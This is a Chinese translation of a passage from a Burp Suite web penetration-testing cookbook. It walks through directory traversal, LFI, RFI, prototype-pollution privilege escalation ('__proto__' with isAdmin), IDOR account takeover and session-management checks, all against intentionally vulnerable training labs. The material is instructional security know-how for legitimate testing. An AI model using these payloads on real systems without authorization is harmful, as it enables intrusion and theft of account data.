原文:
annas-archive.org/md5/ac8636ca42d7bb48c9364852fd6f1216
译者:飞龙
第五章:评估授权检查
本章介绍了授权的基础知识,包括应用程序如何使用角色来确定用户功能的解释。Web 渗透测试涉及关键评估,以确定应用程序验证分配给特定角色或个人用户的功能的效果,我们将学习如何使用 Burp Suite 来执行这些测试。
本章将涵盖以下实验:
-
测试目录遍历
-
测试 本地文件 包含(LFI)
-
测试 远程文件 包含(RFI)
-
测试权限提升
-
测试 不安全的直接对象 引用(IDOR)
技术要求
完成本章中的实验,你将需要以下工具:
-
OWASP 破损的 Web 应用程序(BWA)虚拟机:OWASP Mutillidae 应用程序
-
Burp Suite 代理社区版或专业版(https://portswigger.net/burp/)
-
使用 PortSwigger 账户访问 Web 安全学院(
portswigger.net/web-security/all-labs
) -
配置为允许 Burp Suite 代理流量的 Firefox 浏览器(
www.mozilla.org/en-US/firefox/new/
) -
来自 GitHub 的 wfuzz 字典库(
github.com/xmendez/wfuzz
)
测试目录遍历
目录遍历攻击是尝试发现或强制浏览通常为应用程序管理员设计的未授权网页。如果应用程序没有正确配置 Web 文档根目录,并且没有在服务器端对每个访问的页面进行适当的授权检查,就可能存在目录遍历漏洞。这类弱点允许攻击者执行系统命令注入或任意代码执行。
准备工作
使用 OWASP Mutillidae II 作为目标应用程序,让我们来检查它是否存在任何目录遍历漏洞。
确保 Burp Suite 和 OWASP BWA 虚拟机正在运行,Burp Suite 已在 Firefox 浏览器中配置(或使用 Burp Suite 浏览器),并且你正在查看 OWASP BWA 应用程序。
如何执行…
-
从 OWASP BWA 登录页面,点击链接进入 OWASP Mutillidae II 应用程序。
-
在 Firefox 浏览器中打开 OWASP Mutillidae II 的登录界面。在顶部菜单中,点击登录。
-
在 Proxy | HTTP 历史 表格中找到你刚刚执行的请求。查找对 login.php 页面的调用。选中该消息,将光标移到 Request 标签的 Raw 子标签中,右键点击,选择 发送到 Intruder:
图 5.1 – 发送到 Intruder
-
切换到 Intruder | Positions 标签,点击右侧的 Clear $ 按钮,清除所有 Burp 定义的有效载荷标记。
-
高亮当前存储在 page 参数中的值 (login.php),并使用 添加 § 按钮为其添加有效载荷标记:
图 5.2 – Intruder | Positions 标签页
-
继续到 Intruder | Payloads 标签页,选择以下来自 wfuzz 仓库的词表:admin-panels.txt。来自 GitHub 仓库的词表位置如下:wfuzz/wordlist/general/admin-panels.txt。
-
在 Intruder | Payloads 标签页的 有效载荷选项 [简单列表] 部分点击 加载 按钮,弹出窗口将提示你选择词表的位置。
-
浏览到你从 GitHub 下载 wfuzz 仓库的位置。继续在 wfuzz 文件夹结构中查找 (wfuzz/wordlist/general/),直到找到 admin-panels.txt 文件,然后选择该文件并点击 打开:
图 5.3 – 词表加载
- 滚动到页面底部,取消选中(默认情况下已选中)URL 编码这些 字符 选项:
图 5.4 – 取消选中有效载荷编码框
-
现在你准备好开始攻击了。点击 攻击开始 按钮,该按钮位于 Intruder | Positions 页面的右上角。
-
攻击结果表格将会显示。允许攻击完成。admin-panels.txt 词表中有 137 个有效载荷。按 长度 列从升序排序为降序,以查看哪些有效载荷命中了网页。
注意那些响应长度较大的有效载荷。这看起来很有希望!也许我们发现了包含指纹信息或未经授权访问的管理页面:
图 5.5 – 结果表格
- 从结果列表中选择响应长度最大的页面之一(99,000+),例如 admin.php。在攻击结果表格中,查看 响应 | 渲染 标签,注意页面显示了 PHP 版本和系统信息:
图 5.6 – 在 Repeater 中重放一个成功的结果
它是如何工作的…
即使没有登录,我们也能强制浏览到 Web 应用程序的一个未映射区域。未映射 指的是该应用本身没有直接链接到这个秘密配置页面。但是,通过使用 Burp Suite Intruder 和包含常见管理文件名的词表,我们能够通过目录遍历攻击发现该页面。
测试 LFI
Web 服务器通过配置设置来控制对特权文件和资源的访问。特权文件包括应仅对系统管理员可访问的文件——例如,在类 Unix 平台上的**/etc/passwd文件或 Windows 系统中的boot.ini**文件。
LFI攻击是尝试通过目录遍历攻击访问特权文件。LFI 攻击包括不同的风格,诸如点点斜杠攻击(…/)、目录暴力破解、目录爬升或回溯攻击。
准备开始
以 OWASP Mutillidae II 作为目标应用程序,来确定它是否包含任何 LFI 漏洞。
确保 Burp Suite 和 OWASP BWA 虚拟机正在运行,并且 Burp Suite 已经配置在用于查看 OWASP BWA 应用的 Firefox 浏览器中。
如何操作…
-
从 OWASP BWA 登陆页面,点击链接进入 OWASP Mutillidae II 应用。
-
在 Firefox 浏览器中打开 OWASP Mutillidae II 的登录界面。点击顶部菜单中的登录。
-
在代理 | HTTP 历史记录表格中找到你刚刚执行的请求。查找对login.php页面的调用。高亮该消息,将光标移至请求标签的原始选项卡,右键点击并选择发送至入侵者。
-
切换到入侵者 | 位置标签,并通过点击右侧的**清除§**按钮清除所有 Burp 定义的负载标记。
-
高亮显示当前存储在page参数中的值(login.php),并使用右侧的**添加§**按钮为其添加负载标记。
-
继续到入侵者 | 负载标签。选择以下来自wfuzz仓库的词表:Traversal.txt。该词表在 GitHub 仓库中的位置遵循以下文件夹结构:wfuzz/wordlist/injections/Traversal.txt。
-
点击入侵者 | 负载标签中负载选项 [简单列表]部分内的加载按钮。将弹出一个窗口,提示输入你的词表位置。
-
浏览到你从 GitHub 下载的wfuzz仓库的位置。继续通过wfuzz文件夹结构搜索,直到找到Traversal.txt文件。选择该文件并点击打开:
图 5.7 – 词表加载
-
滚动到底部并取消选中(默认已选中)对这些字符进行 URL 编码选项。
-
你现在可以开始攻击了。点击入侵者 | 位置页面右上角的开始攻击按钮。
-
攻击结果表将显示出来。等待攻击完成。按长度列进行排序,从升序到降序排列,查看哪些负载命中了网页。注意那些长度较大的负载;也许我们已经获得了对系统配置文件的未授权访问!
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_008.jpg
图 5.8 – 结果表格片段
- 在列表中选择请求 2。从攻击结果表格中,查看 Response | Render 标签,注意页面显示了系统中主机文件的内容!或者,你也可以将请求发送到 Repeater 并重放攻击,以查看相同的结果。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_009.jpg
图 5.9 – 在 Repeater 中重放一次成功的结果
它是如何工作的…
由于文件权限保护不当以及缺乏应用程序授权检查,攻击者可以读取包含敏感信息的系统上的特权本地文件。LFI 漏洞背后的危险在于发现秘密、API 密钥、源代码和配置文件。这些泄露可能导致远程代码执行、系统账户接管,甚至进一步渗透到网络中的其他机器。
测试 RFI
RFI 是一种尝试访问外部 URL 和远程文件的攻击。这种攻击是由于参数操作、缺乏服务器端检查以及防火墙级别缺乏出站流量白名单造成的。这些疏忽可能导致用户信息的数据外泄,将其传送到由攻击者控制的外部服务器。
准备工作
使用 OWASP Mutillidae II 作为我们的目标应用程序,接下来让我们确定它是否包含任何 RFI 漏洞。
确保 Burp Suite 和 OWASP BWA 虚拟机正在运行,并且 Burp Suite 已在用于查看 OWASP BWA 应用程序的 Firefox 浏览器中配置好。
如何执行…
-
从 OWASP BWA 登陆页面,点击链接进入 OWASP Mutillidae II 应用程序。
-
在 Firefox 浏览器中打开 OWASP Mutillidae II 的登录页面。点击顶部菜单中的 Login。
-
在 Proxy | HTTP 历史记录 表格中找到你刚才执行的请求。寻找对 login.php 页面调用的记录:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_010.jpg
图 5.10 – 查找 POST 登录请求
- 记下 page 参数,该参数决定加载哪个页面:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_011.jpg
图 5.11 – 请注意页面参数
让我们看看能否通过提供一个位于应用程序之外的 URL 来利用这个参数。为了演示,我们将使用一个我们控制的 OWASP BWA 虚拟机中的 URL。然而,在实际攻击中,这个 URL 将由攻击者控制。
-
切换到 Proxy | Intercept 标签,并点击 Intercept is on 按钮。
-
返回到 Firefox 或 Burp Suite 浏览器,重新加载登录页面。请求已暂停并包含在 Proxy | Intercept 标签中:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_012.jpg
图 5.12 – 代理 | 拦截已开启
-
现在让我们操作 login.php 中的 page 参数,将其值修改为指向应用程序外部的 URL。我们将使用 GetBoo 应用程序的登录页面。您的 URL 将特定于您的机器 IP 地址,因此请相应地调整。新的 URL 将是 http://<your_IP_address>/getboo/。
-
重新加载您浏览器中的登录页面,通过点击 刷新 按钮或按 F5 键,使流量发送到 Burp Suite。您也可以再次点击 Login/Register 按钮。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_013.jpg
图 5.13 – 点击登录/注册按钮
- 注意请求在 Proxy | Intercept 中被暂时拦截。您可能需要多次点击 Forward 按钮,直到您看到 GET /multillidae/index.php?page=login.php 请求。现在我们可以在发送请求到 Web 服务器之前修改这些值:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_014.jpg
图 5.14 – 在 Proxy Intercept 中捕获的登录请求
- 让我们开始操作参数,将 login.php 的值替换为 http://<your_IP_address>/getboo/ 并点击 Forward 按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_015.jpg
图 5.15 – 将用户重定向到 GetBoo 应用程序
-
现在再次按下 Intercept is on 按钮,将其切换为关闭状态(Intercept is off)。
-
返回 Firefox 浏览器,注意到加载的页面是 GetBoo 索引页,位于 Mutillidae 应用程序的上下文中!
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_016.jpg
图 5.16 – 成功重定向的证据
工作原理…
page 参数没有适当的数据验证机制,无法确保提供的值是经过白名单验证的,或者包含在规定的可接受值列表中。通过利用这个漏洞,我们可以给这个参数指定值,将我们的受害者重定向到我们选择的页面,或者更糟糕的是,提取数据和窃取受害者浏览器会话中的敏感信息。
测试权限提升
应用程序中的开发者代码必须包括对分配角色的授权检查,以确保授权用户无法提升其角色到更高的权限。作为攻击者,常见的权限提升攻击目标包括参数篡改、强制浏览和身份验证绕过。通过修改分配的角色或参数值并将其替换为其他值,这些类型的权限提升攻击可能会发生。如果攻击成功,攻击者将获得对原本仅限管理员或更高权限账户访问的资源或功能的未授权访问。
准备工作
让我们使用 通过服务器端原型污染进行权限提升 的 PortSwigger 实验,它位于 所有实验 的 原型污染 部分,作为我们的目标应用程序。我们将尝试在 Node.js 继承层次结构中寻找漏洞,以提升我们在应用中的权限。
登录到你的 PortSwigger 账户并导航到以下网址:portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution
。确保 Burp Suite 正在运行并通过 Firefox 或 Burp Suite 浏览器发送流量。
如何操作…
- 从 实验:通过服务器端原型污染进行权限提升 登录页面,点击名为 访问实验 的链接。如果你没有看到 访问实验 按钮,请确保你已登录 PortSwigger 账户。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_017.jpg
图 5.17 – 启动 PortSwigger 实验实例
- 浏览器中将打开一个新标签,并且一个独特的实验实例将仅为你启动。你的 URL 将是唯一的,因此与下图中所示的 URL 不同。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_018.jpg
图 5.18 – 正在运行的实验实例
- 在 Burp 中运行流量,通过点击右上角的我的帐户链接登录到应用实例。你将看到一个登录页面。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_019.jpg
图 5.19 – 登录页面
- 凭证在实验描述和解决方案中提供,用户名是wiener,密码是peter。登录应用程序。登录后,将展示个人资料页面。更新地址字段,添加一个数字或额外的字母并提交。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_020.jpg
图 5.20 – 个人资料登录页面
- 切换到 Burp 的 代理 | HTTP 历史记录 标签页。找到你刚才在个人资料页面上进行的 POST 请求,更新地址:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_021.jpg
图 5.21 – 在代理 HTTP 历史记录表中查找地址更改的 POST 请求
- 右键单击并选择 发送到 重复器:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_022.jpg
图 5.22 – 发送到重复器
-
在 重复器 中,向 JSON POST 正文中添加一个名为 proto 的原型属性。在新的属性中,添加一个假名称/值对。如果你将以下原型属性放在现有 JSON 正文的开头或中间,必须添加逗号;否则,将收到 JSON 解析错误:
"__proto__": { "foo":"bar" },
如下图所示:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_023.jpg
图 5.23 – 将原型添加到 POST 请求的 JSON 正文中
- 发送请求。注意,响应仍然有效。另外,请注意在 JSON 响应中有一个名为**“isAdmin”: false**的属性。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_024.jpg
图 5.24 – 注意响应中的 isAdmin 参数
- 让我们使用原型污染攻击,将此值从false更改为true。将**“isAdmin”:“true"属性添加到原本是"foo”:“bar"的请求中,该属性位于原型"proto”**对象内。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_025.jpg
图 5.25 – 操控请求中的 isAdmin 参数
- 发送请求并注意到响应现在反映了这一变化。我们刚刚将权限提升为管理员!返回浏览器并刷新**/my-account页面。注意,你现在可以看到Admin panel**链接:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_026.jpg
图 5.26 – 现在可以访问管理员面板
- 为了解决这个实验,点击Admin panel链接。在随后的页面中,删除账户carlos。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_027.jpg
图 5.27 – 删除 Carlos 的账户
- 你应该会看到幕布显示,确认你已解决实验。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_028.jpg
图 5.28 – 实验已解决
运行机制…
在这个例子中,作为攻击者,我们利用了 Node.js 对象中的一个潜在弱点,称为原型污染。Node.js 中构造的每个对象都会使用一个原型,从而使对象继承其特性和行为。如果攻击能够污染对象层次结构的顶部,那么从这个被污染的原型构造出来的所有对象都可以被操控。通过将**"proto"添加到POST** JSON 正文中,我们发现了这个弱点并利用它将我们的权限提升为管理员。
测试 IDOR(不安全的直接对象引用)
允许未经授权的直接访问系统上的文件或资源,通常是基于用户提供的输入,这被称为 IDOR(不安全的直接对象引用)。这种漏洞允许我们绕过对这些文件或资源所施加的授权检查。IDOR 是由于未经检查的用户提供输入,直接访问对象而未在应用程序代码中进行授权检查所导致的。
准备工作
让我们使用不安全的直接对象引用(Insecure direct object references)PortSwigger 实验,它位于所有实验的访问控制部分,作为我们的目标应用程序。我们将尝试找到用作参数值的直接对象引用,操控它,并访问那些通常不应该看到的信息。
登录到你的 PortSwigger 账户并导航到以下网址:portswigger.net/web-security/access-control/lab-insecure-direct-object-references
。确保 Burp Suite 正在运行,并通过 Firefox 或 Burp Suite 浏览器发送流量。
如何操作…
- 在 Lab: Insecure direct object references 登陆页面,点击名为 Access the lab 的链接。如果你没有看到 Access the lab 按钮,确保你已经登录到你的 PortSwigger 账户。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_029.jpg
图 5.29 – 启动实验室实例
- 浏览器中将打开一个新标签页,并为你启动一个独特的实验室实例。你的网址将是唯一的,因此与下面截图中显示的网址不同。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_030.jpg
图 5.30 – 实验室的登陆页面
- 点击应用程序中的 实时聊天 链接。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_031.jpg
图 5.31 – 实时聊天链接
- 在 实时聊天 页面,输入简单的消息并点击 发送,将其发送到 Web 服务器后端:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_032.jpg
图 5.32 – 要发送的示例信息
- 点击 发送 按钮后,点击 查看转录 按钮。注意,一个文件会下载到你的本地系统,其中包含了对话内容。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_033.jpg
图 5.33 – 点击查看转录按钮
- 查看下载的文件,看到转录文件中如预期捕捉到了对话内容。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_034.jpg
图 5.34 – 查看下载的转录文件
- 切换到 Burp 的 代理 | HTTP 历史 标签页。找到紧接着 POST 请求的 GET 请求,来下载该文件。注意我们的文件名是一个带有 .txt 扩展名的数字。如果我们将这个数字的值更改为 1,会发生什么?
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_035.jpg
图 5.35 – 查看调用以获取转录文件
- 右键点击并将请求发送到 Repeater。让我们通过操作分配给我们转录的数字值为 1 来执行一个 IDOR 攻击。发送请求。注意你现在可以读取不同用户的转录文件!转录文件中暴露了他们的密码!
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_036.jpg
图 5.36 – 操作文件名
- 使用我们已经发现的密码,使用 carlos 作为用户名和转录文件中显示的密码进行登录。点击 我的账户 链接进入登录页面。输入凭证。请注意,你的密码可能与我的不同,因为每个实例可能有不同的密钥。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_037.jpg
图 5.37 – 使用揭示的密码登录到 Carlos 的账户
- 登录后,您应该会看到确认您已解决实验的幕布显示!
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_05_038.jpg
图 5.38 – 实验已解决
它是如何工作的……
由于成绩单文件名参数缺乏适当的授权检查,我们可以查看完全不同用户的成绩单。在这个案例中,成绩单包含了密码信息,我们利用这些信息进行了账户接管。防范和缓解此漏洞的措施包括在揭示敏感文件和资源之前进行访问控制和检查。当这些访问控制缺失时,可能存在 IDOR(不当对象引用)漏洞。
第六章:评估会话管理机制
本章介绍了用于绕过和评估会话管理方案的技术。会话管理方案用于应用程序跟踪用户活动,通常通过会话令牌实现。Web 评估会话管理还涉及确定所用会话令牌的强度以及这些令牌是否得到了适当保护。我们将学习如何使用 Burp Suite 执行这些测试。
在本章中,我们将介绍以下实验:
-
使用 Sequencer 测试会话令牌强度
-
测试 Cookie 属性
-
测试会话固定
-
测试暴露的会话变量
-
测试跨站请求伪造
技术要求
为了完成本章的实验,你需要以下工具:
-
一个 OWASP破损网页应用(BWA)虚拟机
-
OWASP Mutillidae 链接
-
Burp Suite Proxy 社区版或专业版(
portswigger.net/burp/
) -
一个已配置的 Firefox 浏览器或 Burp Suite 浏览器,允许 Burp Suite 代理流量(
www.mozilla.org/en-US/firefox/new/
)
使用 Sequencer 测试会话令牌强度
为了在应用程序内跟踪用户的活动,开发者为每个用户创建并分配独特的会话令牌值。大多数会话令牌机制包括会话 ID、隐藏表单字段或 Cookie。Cookie 会被放置在用户浏览器的客户端。
这些会话令牌应由渗透测试人员检查,以确保其独特性、随机性和加密强度,以防止信息泄漏。
如果会话令牌的值容易猜测,或在登录后保持不变,攻击者可能会将一个预先已知的令牌值应用(或固定)到某个用户上。这就是会话固定攻击。攻击的目的是窃取用户账户中的敏感数据,因为会话令牌已为攻击者所知。
准备工作
我们将检查 OWASP Mutillidae II 中使用的会话令牌,确保它们以安全且不可预测的方式创建。攻击者如果能够预测并伪造一个弱会话令牌,可能会执行会话固定攻击。
确保 Burp Suite 和 OWASP BWA 虚拟机已启动,并且 Burp Suite 已在用于查看 OWASP BWA 应用程序的 Firefox 浏览器中配置,或使用 Burp Suite 内置的浏览器。
如何操作…
-
从OWASP BWA登陆页面,点击链接访问 OWASP Mutillidae II 应用程序。
-
打开 Firefox 浏览器或 Burp Suite 浏览器,访问 OWASP Mutillidae II 的主页(网址:http://<your_VM_assigned_IP_address>/mutillidae/)。确保你是从 Mutillidae 应用程序的全新会话开始,且尚未登录:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_001.jpg
图 6.1 – 确保你没有登录到应用程序
-
切换到代理 | HTTP 历史标签,选择显示你初次浏览 Mutillidae 主页的请求。
-
寻找GET请求及其相关响应,其中包含Set-Cookie:赋值。每当你看到这个赋值时,就知道你正在为会话获取一个新创建的 cookie。具体来说,我们关心的是PHPSESSID的 cookie 值:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_002.jpg
图 6.2 – PHPSESSID 的 cookie 值
- 高亮显示PHPSESSID cookie 的值,右键点击并选择发送到Sequencer:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_003.jpg
图 6.3 – 发送请求到 Sequencer
Sequencer 是 Burp Suite 中的一个工具,旨在确定会话令牌中随机性生成的强度或质量。
-
在将PHPSESSID参数的值发送到Sequencer后,你将看到该值被加载到选择实时捕获请求表格中。
-
在点击开始实时捕获按钮之前,滚动到响应中的令牌位置部分。在Cookie下拉列表中,选择PHPSESSID=<捕获的会话令牌值>:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_004.jpg
图 6.4 – 设置 Sequencer 的 cookie 值
-
由于我们已经选择了正确的 cookie 值,我们可以开始实时捕获过程。点击开始实时捕获按钮,Burp Suite 将发送多个请求,从每个响应中提取PHPSESSIDcookie。每次捕获后,Sequencer会对每个令牌的随机性进行统计分析。
-
允许捕获至少收集并分析 200 个令牌,但如果你愿意,可以让它运行更长时间:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_005.jpg
图 6.5 – Sequencer 的实时捕获
- 一旦你收集到至少 200 个样本,点击立即分析按钮。每当你准备停止捕获过程时,按下停止按钮并点击是确认:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_006.jpg
图 6.6 – 停止实时捕获
- 分析完成后,Sequencer的输出将提供总体结果。在这种情况下,PHPSESSID会话令牌的随机性质量非常优秀。有效的熵量估计为 112 位。从网络渗透测试的角度来看,这些会话令牌非常强大,因此这里没有漏洞报告。然而,尽管没有漏洞,仍然建议对会话令牌进行此类检查:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_007.jpg
图 6.7 – 概述分析
它是如何工作的…
为了更好地理解 Sequencer 背后的数学原理和假设,您可以参考 PortSwigger 关于该主题的文档:portswigger.net/burp/documentation/desktop/tools/sequencer/tests
。
测试 Cookie 属性
重要的用户特定信息,如会话令牌,通常存储在客户端浏览器的 Cookies 中。由于其重要性,Cookies 需要受到保护,防止恶意攻击。这种保护通常以两种标志的形式出现——secure 和 HttpOnly。
secure 标志告知浏览器仅在协议加密时(例如 HTTPS 或 TLS)将 Cookie 发送到 Web 服务器。此标志可保护 Cookie 免受在未加密的通道上监听的攻击。
HttpOnly 标志指示浏览器不允许通过 JavaScript 访问或操作 Cookie。此标志可保护 Cookie 免受跨站脚本攻击。
准备工作
检查 OWASP Mutillidae II 应用程序中使用的 Cookies,确保存在保护标志。由于 Mutillidae 应用程序通过未加密的通道(例如 HTTP)运行,我们只能检查是否存在 HttpOnly 标志。因此,secure 标志不在本教程的讨论范围内。
确保 Burp Suite 和 OWASP BWA 虚拟机正在运行,并且 Burp Suite 已在用于查看 OWASP BWA 应用程序的 Firefox 浏览器中进行配置,或者使用 Burp Suite 的内置浏览器。
如何操作…
-
从 OWASP BWA 登录页面,点击链接进入 OWASP Mutillidae II 应用程序。
-
打开 Firefox 浏览器或 Burp Suite 浏览器,访问 OWASP Mutillidae II 的首页(URL: http://<your_VM_assigned_IP_address>/mutillidae/)。确保您开始的是一个全新的会话,并且未登录到 Mutillidae 应用程序:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_008.jpg
图 6.8 – 确保您未登录到应用程序
-
切换到 Proxy | HTTP history 标签,并选择显示您首次浏览到 Mutillidae 首页的请求。查找 GET 请求及其关联的包含 Set-Cookie: 赋值的响应。每当您看到此赋值时,您可以确保为您的会话获得了新创建的 Cookie。特别地,我们关心的是 PHPSESSID 的 Cookie 值。
-
在成功登录后,Cookies 应立即被设置。检查 Set-Cookie: 赋值行的末尾。注意两行中都没有 HttpOnly 标志。这意味着 PHPSESSID 和 showhints 的 Cookie 值没有受到 JavaScript 操作的保护。这是一个安全问题,您应在报告中包括该项:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_009.jpg
图 6.9 – 设置 PHPSESSID Cookie 的值,缺少安全标志
它是如何工作的…
如果两个 cookie 设置了HttpOnly标志,那么这些标志会出现在Set-Cookie:赋值行的末尾。若该标志存在,它会紧跟一个分号,结束 cookie 的路径作用域,之后是HttpOnly字符串。Secure标志的显示方式也类似:
Set-Cookie: PHPSESSID=<session token value>;path=/;Secure;HttpOnly;
测试会话固定漏洞
会话令牌是为用户分配的,用于跟踪目的。这意味着在以未经身份验证的用户身份浏览应用程序时,会分配一个唯一的会话 ID,通常存储在 cookie 中。应用程序开发人员应始终在用户登录网站后创建一个新的会话令牌。如果这个会话令牌没有变化,应用程序可能会受到会话固定攻击的威胁。网页渗透测试人员的责任是判断这个令牌在未经身份验证的状态和身份验证后的状态之间是否发生了变化。
会话固定漏洞存在的情况是,当应用程序开发人员没有使未经身份验证的会话令牌失效,导致用户在认证后仍能使用相同的会话令牌。这种情况允许攻击者利用窃取的会话令牌冒充用户身份。
准备工作
使用 OWASP Mutillidae II 应用程序、Burp Suite 中的Proxy | HTTP history标签页,以及Comparer,我们将检查未经身份验证的PHPSESSID会话令牌值。然后,我们将登录应用程序并将未经身份验证的值与身份验证后的值进行比较,以确定会话固定漏洞是否存在。
如何进行操作…
-
导航到登录页面(点击顶部菜单中的Login/Register),但不要立即登录。
-
切换到 Burp Suite 的Proxy | HTTP history标签页,查找在浏览到登录页面时发出的GET请求。记下分配给PHPSESSID参数的值,该值位于 cookie 中:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_010.jpg
图 6.10 – 设置未经身份验证的 PHPSESSID cookie 值
- 右键点击PHPSESSID参数,并将请求发送到Comparer:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_011.jpg
图 6.11 – 发送请求到 Comparer
- 返回到登录页面(点击顶部菜单中的Login/Register),这次使用用户名ed和密码pentest进行登录。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_012.jpg
图 6.12 – 以用户 ed 登录
- 登录后,切换到 Burp Suite 的Proxy | HTTP history标签页。查找显示登录的POST请求(例如,302 HTTP 状态码),以及紧接着POST请求后的GET请求。记下登录后分配的PHPSESSID值。右键点击并将GET请求发送到Comparer。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_013.jpg
图 6.13 – 以用户 ed 登录后的 GET 请求
- 切换到 Burp Suite 的Comparer。相关的请求应该已经为您高亮显示。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_014.jpg
图 6.14 – 比较未认证请求与认证请求
- 点击右下角的Words按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_015.jpg
图 6.15 – 点击 Words 按钮
- 弹出窗口会显示两次请求之间的详细比较。请注意,PHPSESSID的值在未认证的会话(左侧)和认证后的会话(右侧)之间并未发生变化。这意味着该应用存在会话固定漏洞:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_016.jpg
图 6.16 – 登录后注意到 PHPSESSID 值没有变化
它是如何工作的…
在此实验中,我们检查了PHPSESSID分配给未认证用户的值,即使在认证后也保持不变。这是一个安全漏洞,允许会话固定攻击。
测试暴露的会话变量
会话变量,如令牌、Cookie 或隐藏的表单字段,通常由应用开发者用于在客户端和服务器之间传输数据。由于这些变量在客户端暴露,攻击者可以通过操控它们来试图访问未经授权的数据或捕获敏感信息。
Burp Suite 的Proxy选项提供了一项功能,用于增强所谓的隐藏表单字段的可见性。此功能允许 Web 应用渗透测试人员确定这些变量中数据的敏感性级别。同样,渗透测试人员可以判断是否对这些值的操作会导致应用行为的不同。
准备工作
使用 OWASP Mutillidae II 应用和 Burp Suite 的取消隐藏表单字段功能(位于Proxy下),我们将确定操控隐藏表单字段的值是否能获得未经授权的数据。
如何操作…
- 通过点击 Burp Suite 右上角的设置齿轮图标,切换到 Burp Suite 的Proxy标签页。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_017.jpg
图 6.17 – 全局设置按钮
- 当大弹窗显示出来后,选择All | Proxy。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_018.jpg
图 6.18 – 设置菜单
- 在Proxy部分,向下滚动到响应修改规则部分,勾选取消隐藏表单字段和突出显示 未隐藏字段的复选框:
